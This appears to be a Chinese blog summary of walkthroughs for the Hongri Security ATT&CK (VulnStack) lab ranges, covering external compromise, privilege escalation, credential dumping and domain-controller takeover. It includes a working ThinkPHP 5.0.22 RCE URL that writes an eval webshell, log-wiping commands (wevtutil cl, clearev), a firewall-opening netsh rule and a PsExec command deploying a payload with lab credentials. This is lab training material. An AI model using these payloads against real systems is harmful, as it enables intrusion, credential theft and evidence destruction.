红日安全ATT&CK靶场总结
Contents
红日安全ATT&CK靶场(一)
前言
此文只记录打靶机过程的思路,因为我也是基本按照其他师傅的过程学习的,所以具体的过程可以去看其他师傅的文章。这里只记录下思路与过程。
红队实战(一):
详细教程:
https://www.freebuf.com/column/230476.html
https://www.freebuf.com/column/230725.html
拓扑结构:
外网渗透:
思路一:
- nmap探测存活主机和端口,发现80开放。
- 御剑、或dirmap、dirsearch等进行目录扫描
我用的dirmap,可以几个都试试:https://github.com/H4ckForJob/dirmap
- 识别网站指纹,发现为yxcms。
- 云悉指纹:https://www.yunsee.cn/
- 潮汐指纹:http://finger.tidesec.net/
- who ami:http://whatweb.bugscaner.com/
- 搜索yxcms网站漏洞,找到默认后台,弱口令成功登录。
- yxcms后台,直接在前台index模板中插入一句话木马。
- 菜刀连接,即可获得后门
- 常见的webshell管理工具
- 中国蚁剑AntSword
- 中国菜刀 (caidao)
- 冰蝎 webshell
- cknife (c刀)
- webshell收集i项目
思路二:
- nmap探测存活主机和端口,发现80开放。
- 御剑、或dirmap、dirsearch等进行目录扫描
- 发现phpmyadmin,弱口令root,root登录。
- phpmyadmin通过开启全局日志的方式getshell,
[phpmyadmin后台getshell方法学习总结]
内网渗透
- 1.使用msfvenom生成payload文件,使用菜刀上传到WWW目录下,msf监听连接。
- 查看获得的用户权限,通常通过web漏洞获得的webshell权限较低,需要进行提权。
windows提权exp: Windows-Exploit-Suggester
- 这里直接使用getsystem即可提权,如果不成功可以使用msf中自带的绕过UAC模块,设置执行后再次尝试getsystem就可获得权限
- 然后我们就可以执行一些后渗透的常规姿势,添加管理员,开3389,关防火墙,主机信息收集,后门植入等等
- mimikatz抓取本地用户的hash密码
- 后渗透信息收集,包括定位域控,查询域管理员和域用户,添加域管理员等等
利用powershell框架进行后渗透信息收集:
域渗透信息收集常见操作
- 根据信息收集,我们可以知道域控的地址,域成员主机03地址。
- 接着进行横向渗透,首先需要添加路由和代理。
[MSF学习-端口转发代理及路由功能-三层内网靶场渗透]
- 添加路由成功后,可以根据作者给出的漏洞列表直接用msf里的模块打(服务默认需要手动开启)
- 利用ms17-010获取2003机器的shell,这里吐槽下msf自带的模块,就没打成功过。。
这里给一个比较好用的模块:https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
先知一篇讲永恒之蓝的文章 : 那些年,我们追过的“蓝”
- 2003我们直接getsystem提权,然后照上面操作导出用户hash即可。
- 最后杀向域控,前面我们已经在win7机器上获取了域管理的账号密码。这里直接用
exploit/windows/smb/psexec
远程连接即可拿到shell,并且是管理员权限。
- 植入后门
- 痕迹清理
红队评估(二)
详细教程
https://www.anquanke.com/post/id/193193
https://wh0ale.github.io/2019/12/11/VulnStack
网络拓扑
1 | 内网网段:10.10.10.1/24 |
大体拓扑如下:
外网渗透
- 首先手动开启web机上weblogic服务,访问web机的7001端口。可以进入控制台。
- 使用WeblogicScan进行扫描,由扫描结果可知存在CVE-2019-2725。
https://github.com/dr0op/WeblogicScan
- 使用
CVE-2019-2725
的POC上传webshell,
- 或者直接使用msf自带的cve模块打一波,拿到shell.
内网渗透
- 后渗透常规操作走一波
查看用户权限,这里已经是管理员权限,暂不提权。
查看主机信息和开放端口
新建管理员用户,远程桌面登录。
因为这里靶机安装了360,所以需要上传procdump结合mimikatz在本地读取密码信息
最后使用msf生成个后门。
- 后渗透信息收集,收集域内信息,添加域管理员账号,定位域控。
- msf添加路由,搭建代理。
reGeorg + proxifier搭建SOCKS正向代理
- 刚刚已经拿到了域管理权限知道密码,直接用psexec连接域控制器拿下域控。
痕迹清理
获取日志分类列表:wevtutil el >1.txt
获取单个日志类别的统计信息:wevtutil gli “windows powershell”
查看指定日志的具体内容:wevtutil qe /f:text “windows powershell”
删除单个日志类别的所有信息:wevtutil cl “windows powershell”
破坏Windows日志记录功能
msf run clearlogs clearev
红队实战(三)
环境拓扑
外网渗透
首先发现80端口网站是个joomla!,探测版本,发现是3.9.2较高的版本。
然后扫了下目录,发现存在备份的配置文件configuration.php。
在配置文件中得到了一个mysql普通数据库用户
1 | testuser cvcvgjASD!@ |
探测端口发现3306开放,尝试使用拿到的mysql密码登录
登录成功,拿到了joomla!的数据库,尝试添加管理员 admin2
使用账号admin2 secret登录后台:http://192.168.1.110/administrator/index.php
通过模板修改,getshell。然后访问shell。
这里得绕一下disable_function。可以用LD_PRELOAD绕过。
在ubuntu上找到了个test.txt,存放着应该是账号密码。
尝试使用wwwuser通过ssh登陆192.168.1.110
内网渗透
上msf,scp上传payload到centos,centos执行payload获取shell。
添加路由,使用msf扫描获取周围windows信息。
- 得到了三台加入test域的windows主机
1 | 192.168.93.20 windows server 2008 |
- 尝试爆破一下windows server 2008的本地管理员,得到了本地管理员的密码:123qwe!ASD
- 搭建目标网络代理,kali使用proxychains来代理socs4a。
用wmiexec执行命令,使用得到的密码远程连接目标机器
- 查看进程时发现有test域的administrator的进程,于是尝试抓一下密码
kali下使用smbclient通过代理连接windows server 2008 上传mimikatz。
wmiexec远程执行mimikatz抓到了test域的administrator密码。
- 查看windows server 2008的ip,然后ping test.org获取到域控制器ip
- 直接ipc连接(环境有点问题,3389连接域控提示administrator的密码过期了)
- 得到重要文件flag.txt。
红队评估(五)
环境
Win7 +phpstudy+thinkphp(5.0.22)
ip 192.168.135.150
ip 192.168.138.136
Win2008
ip 192.168.138.138
攻击机 win10
ip 192.168.135.143
外网渗透
漏洞利用
- 漏洞搜索与利用,浏览器访问192.168.135.150,发现是thinkphp框架,爆下错,看下tp版本为5.0.22。
找到此版本的poc,然后写一句话木马。
1
http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%27cmd%27]);%20?^%3E%20%3E%20C:\phpStudy\PHPTutorial\WWW\public\shell.php
- 蚁剑连接,查看权限,发现居然是域管理员权限!!!
内网渗透
在横向移动前我们需要收集域内信息。
- 内网网段:192.168.138.0/24
- 域控ip:192.168.138.138(DNS服务器确定),域名:sun.com
- 域用户:admin Administrator krbtgt leo
接下来使用CS来完成后续内网渗透工作。
- 首先使用创建监听器,然后根据需要生成对应监听器的木马,这里我选择生成windows的exe木马。
- 使用蚁剑上传到目标服务器,执行,查看cs发现,win7已上线。
- 这里看到上线的用户的只是administrator权限,直接使用cs自带的ms14-058提权(为什么用它提权,因为靶场里提示了。。)
Win64bit提权0day漏洞(CVE-2014-4113)
- 选择提权后,一会就可以看到system权限的win7上线。
- 选择system权限win7,进入Beacon,然后运行mimikatz读到了Administrator和leo的密码
- 因为我们这里已经得到的域控管理员的密码,所以直接找域控登录即可。
- 使用CS扫一下内网可以用psexec登录的主机,主要看445端口有没有开放。
- 因为我们这里的DC处于内网,不能直接连接CS,所以我们需要win7做一个跳板机器。
- 在win7上设置新的监听,上传psexec,设置防火墙规则。
1 | netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=6666 |
- 最后使用PsExec登录DC域控。
1 | Shell C:\phpStudy\PHPTutorial\WWW\public\PsExec64.exe -accepteula \\192.168.138.138 -u sun\Administrator -p dc123.com -d -c C:\phpStudy\PHPTutorial\WWW\public\nei.exe |
- 此时可以看到dc主机也已经上线
日志和入侵痕迹清除,主要是我们上传的木马文件,添加的管理员。以及系统日志、web应用日志、防火墙日志等内容。